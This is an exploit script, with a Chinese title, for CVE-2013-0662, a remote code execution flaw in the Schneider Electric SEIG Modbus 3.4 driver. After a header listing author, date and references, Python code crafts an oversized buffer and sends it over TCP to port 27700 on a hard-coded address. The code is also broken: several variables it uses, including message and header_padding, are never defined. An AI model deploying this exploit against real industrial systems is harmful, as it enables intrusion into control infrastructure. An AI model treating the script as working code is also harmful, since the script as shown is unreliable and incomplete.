CVE-2013-0662_SEIG_Modbus_3.4_遠程代碼執行漏洞

# CVE-2013-0662 SEIG Modbus 3.4 遠程代碼執行漏洞
==EXP==

# Title: SEIG Modbus 3.4 - Remote Code Execution
# Author: Alejandro Parodi
# Date: 2018-08-17
# Vendor Homepage: https://www.schneider-electric.com
# Software Link: https://github.com/hdbreaker/Ricnar-Exploit-Solutions/tree/master/Medium/CVE-2013-0662-SEIG-Modbus-Driver-v3.34/VERSION%203.4
# Version: v3.4
# Tested on: Windows XP SP3
# CVE: CVE-2013-0662
# References:
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0662
 
import socket
import struct
 
ip = "192.168.127.138"
port = 27700
con = (ip, port)
 
 
####### MESSAGE ##########
message_header = "\x00\x64"
message_buffer = "A" * 0x5dc
eip = struct.pack("H", len(message))
header_end = "\x44"
 
header = header_padding + header_buf_size + header_recv_len + header_end
##########################
 
######## CRAFTING PAYLOAD ########
payload = header + message
print "Package Len: "+hex(len(payload)) + " bytes"
##################################
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(con)
s.send(payload)